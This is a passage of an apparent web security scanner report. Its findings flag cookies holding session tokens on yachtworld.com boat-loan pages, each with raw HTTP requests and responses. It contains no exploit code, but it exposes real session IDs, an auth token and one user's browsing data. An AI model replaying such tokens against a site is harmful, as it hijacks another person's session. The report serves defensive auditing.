HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CAO DSP COR CUR ADMi DEVi TAIi PSAi PSDi IVAi IVDi CONi OUR DELi SAMi UNRi PUBi OTRi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT POL PRE" Expires: 0 Pragma: no-cache Cache-control: no-cache, must-revalidate, max-age=0 Set-Cookie: leo_auth_token="GST:U4lWXkjQ3w6HNUv-nUlaWUIo7h6V_Qw-aOlD2adTz-eYYAWJ39CBGM:1296157780:5c339d93dc107e9f4d21e938ffaf0bab11f63caf"; Version=1; Max-Age=1799; Expires=Thu, 27-Jan-2011 20:19:39 GMT; Path=/ Set-Cookie: s_leo_auth_token="delete me"; Version=1; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: JSESSIONID=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: lang="v=2&lang=en&c="; Version=1; Domain=linkedin.com; Path=/ Content-Type: text/html;charset=UTF-8 Date: Thu, 27 Jan 2011 19:49:40 GMT Set-Cookie: NSC_MC_QH_MFP=ffffffffaf19965645525d5f4f58455e445a4a421968;expires=Thu, 27-Jan-2011 20:19:49 GMT;path=/;httponly Content-Length: 13746
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /boat-loans/finance/help_boatsbank.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 22:44:26 GMT Server: Apache Set-Cookie: JSESSIONID=797529CC4CDD1160056CE0F846F79790.boapp05; Path=/boat-loans Set-Cookie: boats_temp_info=lf:ywlf; Domain=.boats.com; Path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /boat-loans/finance/rates.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 22:44:22 GMT Server: Apache Set-Cookie: JSESSIONID=9CB6B77DFE1F357C7A15A4F940F2FEA1.boapp05; Path=/boat-loans Set-Cookie: boats_temp_info=lf:ywlf; Domain=.boats.com; Path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /boat-loans/finance/what_to_expect.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 22:44:24 GMT Server: Apache Set-Cookie: JSESSIONID=734A9D1AB92AC0313D2B6E84A3195F78.boapp05; Path=/boat-loans Set-Cookie: boats_temp_info=lf:ywlf; Domain=.boats.com; Path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /boat-loans/index.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:35:27 GMT Server: Apache Set-Cookie: JSESSIONID=4C05D03316DAB70E7658F65FBB7FC56F.boapp00; Path=/boat-loans Set-Cookie: boats_temp_info=lf:ywlf; Domain=.boats.com; Path=/ Set-Cookie: boats_session_info=locale_currency_id:100; Domain=.boats.com; Expires=Fri, 27-Jan-2012 20:35:27 GMT; Path=/ Set-Cookie: boats_session_info=session_uom:126:locale_currency_id:100; Domain=.boats.com; Expires=Fri, 27-Jan-2012 20:35:27 GMT; Path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html> <head> <title>
boat loans, yacht financing and refinancing - yachtworld.com ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /boat-loans/partner_program.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 22:44:27 GMT Server: Apache Set-Cookie: JSESSIONID=92FC41968A40C02FF28D98A966702B9D.boapp05; Path=/boat-loans Set-Cookie: boats_temp_info=lf:ywlf; Domain=.boats.com; Path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html> <head> <title>Become a Boats.com Boat Loan Partner</title> <meta name="description" content=" ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /boat-loans/consumer_loan_processing.html HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 